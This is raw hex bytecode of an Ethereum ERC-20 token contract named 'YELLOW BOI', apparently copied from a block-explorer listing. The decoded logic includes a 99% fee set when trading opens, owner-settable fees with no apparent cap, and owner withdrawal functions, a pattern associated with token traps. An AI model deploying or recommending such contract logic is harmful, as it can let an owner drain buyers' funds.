0405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c1906132eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a309061337d565b60405180910390fd5b60008111611a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a739061340f565b60405180910390fd5b6000611a86610ae1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611af45750611ac4610ae1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561203857611b336064611b25600b544211611b1257600754611b16565b6009545b8561263e90919063ffffffff16565b6126b890919063ffffffff16565b9050600660009054906101000a900460ff1615611cc257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bf65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cc15743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c73906134c7565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d6d5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7e57600f54821115611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0490613533565b60405180910390fd5b60105482611e1a85610755565b611e249190613553565b1115611e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5c906135d3565b60405180910390fd5b600d6000815480929190611e78906135f3565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f0757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f4957611f466064611f38600b544211611f2557600854611f29565b600a545b8561263e90919063ffffffff16565b6126b890919063ffffffff16565b90505b6000611f5430610755565b9050601460159054906101000a900460ff16158015611fc05750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fd85750601460169054906101000a900460ff165b8015611fe5575060115481115b8015611ff45750600c54600d54115b15612036576120166120118461200c84601254612702565b612702565b612359565b600047905066b1a2bc2ec5000081111561203457612033476125d2565b5b505b505b600081111561213c5761209381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161213391906129f6565b60405180910390a35b61218e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122356121e7828461277990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6122da848661277990919063ffffffff16565b6040516122e791906129f6565b60405180910390a350505050565b600083831115829061233d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233491906128b6565b60405180910390fd5b506000838561234c919061363b565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123915761239061366f565b5b6040519080825280602002602001820160405280156123bf5781602001602082028036833780820191505090505b50905030816000815181106123d7576123d661369e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561247e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124a29190612ea7565b816001815181106124b6576124b561369e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061251d30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611792565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161258195949392919061378b565b600060405180830381600087803b15801561259b57600080fd5b505af11580156125af573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561263a573d6000803e3d6000fd5b5050565b600080830361265057600090506126b2565b6000828461265e9190612d78565b905082848261266d9190613814565b146126ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a4906138b7565b60405180910390fd5b809150505b92915050565b60006126fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127c3565b905092915050565b60008183116127115782612713565b815b905092915050565b600080828461272a9190613553565b90508381101561276f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276690613923565b60405180910390fd5b8091505092915050565b60006127bb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122f5565b905092915050565b6000808311829061280a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280191906128b6565b60405180910390fd5b50600083856128199190613814565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612860578082015181840152602081019050612845565b60008484015250505050565b6000601f19601f8301169050919050565b600061288882612826565b6128928185612831565b93506128a2818560208601612842565b6128ab8161286c565b840191505092915050565b600060208201905081810360008301526128d0818461287d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612908826128dd565b9050919050565b612918816128fd565b811461292357600080fd5b50565b6000813590506129358161290f565b92915050565b6000819050919050565b61294e8161293b565b811461295957600080fd5b50565b60008135905061296b81612945565b92915050565b60008060408385031215612988576129876128d8565b5b600061299685828601612926565b92505060206129a78582860161295c565b9150509250929050565b60008115159050919050565b6129c6816129b1565b82525050565b60006020820190506129e160008301846129bd565b92915050565b6129f08161293b565b82525050565b6000602082019050612a0b60008301846129e7565b92915050565b600080600060608486031215612a2a57612a296128d8565b5b6000612a3886828701612926565b9350506020612a4986828701612926565b9250506040612a5a8682870161295c565b9150509250925092565b600060ff82169050919050565b612a7a81612a64565b82525050565b6000602082019050612a956000830184612a71565b92915050565b600060208284031215612ab157612ab06128d8565b5b6000612abf84828501612926565b91505092915050565b600060208284031215612ade57612add6128d8565b5b6000612aec8482850161295c565b91505092915050565b612afe816128fd565b82525050565b6000602082019050612b196000830184612af5565b92915050565b612b28816129b1565b8114612b3357600080fd5b50565b600081359050612b4581612b1f565b92915050565b60008060408385031215612b6257612b616128d8565b5b6000612b7085828601612926565b9250506020612b8185828601612b36565b9150509250929050565b60008060408385031215612ba257612ba16128d8565b5b6000612bb085828601612926565b9250506020612bc185828601612926565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612c5157808604811115612c2d57612c2c612bcb565b5b6001851615612c3c5780820291505b8081029050612c4a85612bfa565b9450612c11565b94509492505050565b600082612c6a5760019050612d26565b81612c785760009050612d26565b8160018114612c8e5760028114612c9857612cc7565b6001915050612d26565b60ff841115612caa57612ca9612bcb565b5b8360020a915084821115612cc157612cc0612bcb565b5b50612d26565b5060208310610133831016604e8410600b8410161715612cfc5782820a905083811115612cf757612cf6612bcb565b5b612d26565b612d098484846001612c07565b92509050818404811115612d2057612d1f612bcb565b5b81810290505b9392505050565b6000612d388261293b565b9150612d4383612a64565b9250612d707fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c5a565b905092915050565b6000612d838261293b565b9150612d8e8361293b565b9250828202612d9c8161293b565b91508282048414831517612db357612db2612bcb565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612df0602083612831565b9150612dfb82612dba565b602082019050919050565b60006020820190508181036000830152612e1f81612de3565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612e5c601783612831565b9150612e6782612e26565b602082019050919050565b60006020820190508181036000830152612e8b81612e4f565b9050919050565b600081519050612ea18161290f565b92915050565b600060208284031215612ebd57612ebc6128d8565b5b6000612ecb84828501612e92565b91505092915050565b6000604082019050612ee96000830185612af5565b612ef66020830184612af5565b9392505050565b6000819050919050565b6000819050919050565b6000612f2c612f27612f2284612efd565b612f07565b61293b565b9050919050565b612f3c81612f11565b82525050565b600060c082019050612f576000830189612af5565b612f6460208301886129e7565b612f716040830187612f33565b612f7e6060830186612f33565b612f8b6080830185612af5565b612f9860a08301846129e7565b979650505050505050565b600081519050612fb281612945565b92915050565b600080600060608486031215612fd157612fd06128d8565b5b6000612fdf86828701612fa3565b9350506020612ff086828701612fa3565b925050604061300186828701612fa3565b9150509250925092565b60006040820190506130206000830185612af5565b61302d60208301846129e7565b9392505050565b60008151905061304381612b1f565b92915050565b60006020828403121561305f5761305e6128d8565b5b600061306d84828501613034565b91505092915050565b60006020828403121561308c5761308b6128d8565b5b600061309a84828501612fa3565b91505092915050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006130d9600983612831565b91506130e4826130a3565b602082019050919050565b60006020820190508181036000830152613108816130cc565b9050919050565b600081905092915050565b50565b600061312a60008361310f565b91506131358261311a565b600082019050919050565b600061314b8261311d565b9150819050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131b1602483612831565b91506131bc82613155565b604082019050919050565b600060208201905081810360008301526131e0816131a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613243602283612831565b915061324e826131e7565b604082019050919050565b6000602082019050818103600083015261327281613236565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132d5602583612831565b91506132e082613279565b604082019050919050565b60006020820190508181036000830152613304816132c8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613367602383612831565b91506133728261330b565b604082019050919050565b600060208201905081810360008301526133968161335a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006133f9602983612831565b91506134048261339d565b604082019050919050565b60006020820190508181036000830152613428816133ec565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006134b1604983612831565b91506134bc8261342f565b606082019050919050565b600060208201905081810360008301526134e0816134a4565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b600061351d601983612831565b9150613528826134e7565b602082019050919050565b6000602082019050818103600083015261354c81613510565b9050919050565b600061355e8261293b565b91506135698361293b565b925082820190508082111561358157613580612bcb565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006135bd601a83612831565b91506135c882613587565b602082019050919050565b600060208201905081810360008301526135ec816135b0565b9050919050565b60006135fe8261293b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036136305761362f612bcb565b5b600182019050919050565b60006136468261293b565b91506136518361293b565b925082820390508181111561366957613668612bcb565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613702816128fd565b82525050565b600061371483836136f9565b60208301905092915050565b6000602082019050919050565b6000613738826136cd565b61374281856136d8565b935061374d836136e9565b8060005b8381101561377e5781516137658882613708565b975061377083613720565b925050600181019050613751565b5085935050505092915050565b600060a0820190506137a060008301886129e7565b6137ad6020830187612f33565b81810360408301526137bf818661372d565b90506137ce6060830185612af5565b6137db60808301846129e7565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061381f8261293b565b915061382a8361293b565b92508261383a576138396137e5565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138a1602183612831565b91506138ac82613845565b604082019050919050565b600060208201905081810360008301526138d081613894565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061390d601b83612831565b9150613918826138d7565b602082019050919050565b6000602082019050818103600083015261393c81613900565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d87fed58cc94f2a0fa0a6c2f209988d094da5363fa0222809c258f4edf00f42d64736f6c63430008110033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c876d0b91161006f578063c876d0b914610469578063c9567bf914610494578063cb963728146104ab578063dd62ed3e146104d4578063eba4c33314610511578063f5648a4f1461053a57610156565b80638da5cb5b146103575780638f9a55c01461038257806395d89b41146103ad578063a9059cbb146103d8578063bf474bed14610415578063c02466681461044057610156565b806351bc3c851161010857806351bc3c851461028157806370a0823114610298578063715018a6146102d557806371fc4688146102ec578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906128b6565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612971565b61058e565b6040516101ba91906129cc565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e591906129f6565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b60405161021091906129f6565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612a11565b6105d6565b60405161024d91906129cc565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b6040516102789190612a80565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba9190612a9b565b610755565b6040516102cc91906129f6565b60405180910390f35b3480156102e157600080fd5b506102ea61079e565b005b3480156102f857600080fd5b50610313600480360381019061030e9190612ac8565b6108f1565b005b34801561032157600080fd5b5061032a610990565b005b34801561033857600080fd5b50610341610adb565b60405161034e91906129f6565b60405180910390f35b34801561036357600080fd5b5061036c610ae1565b6040516103799190612b04565b60405180910390f35b34801561038e57600080fd5b50610397610b0a565b6040516103a491906129f6565b60405180910390f35b3480156103b957600080fd5b506103c2610b10565b6040516103cf91906128b6565b60405180910390f35b3480156103e457600080fd5b506103ff60048036038101906103fa9190612971565b610b4d565b60405161040c91906129cc565b60405180910390f35b34801561042157600080fd5b5061042a610b6b565b60405161043791906129f6565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612b4b565b610b71565b005b34801561047557600080fd5b5061047e610c61565b60405161048b91906129cc565b60405180910390f35b3480156104a057600080fd5b506104a9610c74565b005b3480156104b757600080fd5b506104d260048036038101906104cd9190612a9b565b61130c565b005b3480156104e057600080fd5b506104fb60048036038101906104f69190612b8b565b61155e565b60405161050891906129f6565b60405180910390f35b34801561051d57600080fd5b5061053860048036038101906105339190612ac8565b6115e5565b005b34801561054657600080fd5b5061054f611684565b005b60606040518060400160405280600a81526020017f59454c4c4f5720424f4900000000000000000000000000000000000000000000815250905090565b60006105a261059b61178a565b8484611792565b6001905092915050565b60125481565b60006012600a6105c29190612d2d565b633b9aca006105d19190612d78565b905090565b60006105e384848461195b565b6106a4846105ef61178a565b61069f8560405180606001604052806028815260200161394460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065561178a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122f59092919063ffffffff16565b611792565b600190509392505050565b60006012905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f961178a565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610755565b905060008111156107395761073881612359565b5b6000479050600081111561075157610750816125d2565b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107a661178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612e06565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108f961178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097d90612e06565b60405180910390fd5b8060098190555050565b61099861178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90612e06565b60405180910390fd5b6012600a610a339190612d2d565b633b9aca00610a429190612d78565b600f819055506012600a610a569190612d2d565b633b9aca00610a659190612d78565b6010819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610ab59190612d2d565b633b9aca00610ac49190612d78565b604051610ad191906129f6565b60405180910390a1565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600681526020017f59454c4c4f570000000000000000000000000000000000000000000000000000815250905090565b6000610b61610b5a61178a565b848461195b565b6001905092915050565b60115481565b610b7961178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90612e06565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660009054906101000a900460ff1681565b610c7c61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0090612e06565b60405180910390fd5b60148054906101000a900460ff1615610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e90612e72565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610de19190612d2d565b633b9aca00610df09190612d78565b611792565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e869190612ea7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f339190612ea7565b6040518363ffffffff1660e01b8152600401610f50929190612ed4565b6020604051808303816000875af1158015610f6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f939190612ea7565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006007819055506000600881905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061102c30610755565b600080611037610ae1565b426040518863ffffffff1660e01b815260040161105996959493929190612f42565b60606040518083038185885af1158015611077573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061109c9190612fb8565b50505060636007819055506063600881905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161114e92919061300b565b6020604051808303816000875af115801561116d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111919190613049565b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6111d8610ae1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112339190612b04565b602060405180830381865afa158015611250573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112749190613076565b6040518363ffffffff1660e01b815260040161129192919061300b565b6020604051808303816000875af11580156112b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112d49190613049565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b61131461178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139890612e06565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113dc9190612b04565b602060405180830381865afa1580156113f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141d9190613076565b1161145d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611454906130ef565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114989190612b04565b602060405180830381865afa1580156114b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d99190613076565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161151692919061300b565b6020604051808303816000875af1158015611535573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115599190613049565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115ed61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167190612e06565b60405180910390fd5b80600a8190555050565b61168c61178a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611719576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171090612e06565b60405180910390fd5b60003373ffffffffffffffffffffffffffffffffffffffff164760405161173f90613140565b60006040518083038185875af1925050503d806000811461177c576040519150601f19603f3d011682016040523d82523d6000602084013e611781565b606091505b50508091505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906131c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186790613259565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161194e91906129f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c1906132eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a309061337d565b60405180910390fd5b60008111611a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a739061340f565b60405180910390fd5b6000611a86610ae1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611af45750611ac4610ae1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561203857611b336064611b25600b544211611b1257600754611b16565b6009545b8561263e90919063ffffffff16565b6126b890919063ffffffff16565b9050600660009054906101000a900460ff1615611cc257601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bf65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611cc15743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c73906134c7565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d6d5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e7e57600f54821115611e0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0490613533565b60405180910390fd5b60105482611e1a85610755565b611e249190613553565b1115611e65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5c906135d3565b60405180910390fd5b600d6000815480929190611e78906135f3565b91905055505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f0757503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f4957611f466064611f38600b544211611f2557600854611f29565b600a545b8561263e90919063ffffffff16565b6126b890919063ffffffff16565b90505b6000611f5430610755565b9050601460159054906101000a900460ff16158015611fc05750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fd85750601460169054906101000a900460ff165b8015611fe5575060115481115b8015611ff45750600c54600d54115b15612036576120166120118461200c84601254612702565b612702565b612359565b600047905066b1a2bc2ec5000081111561203457612033476125d2565b5b505b505b600081111561213c5761209381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461271b90919063ff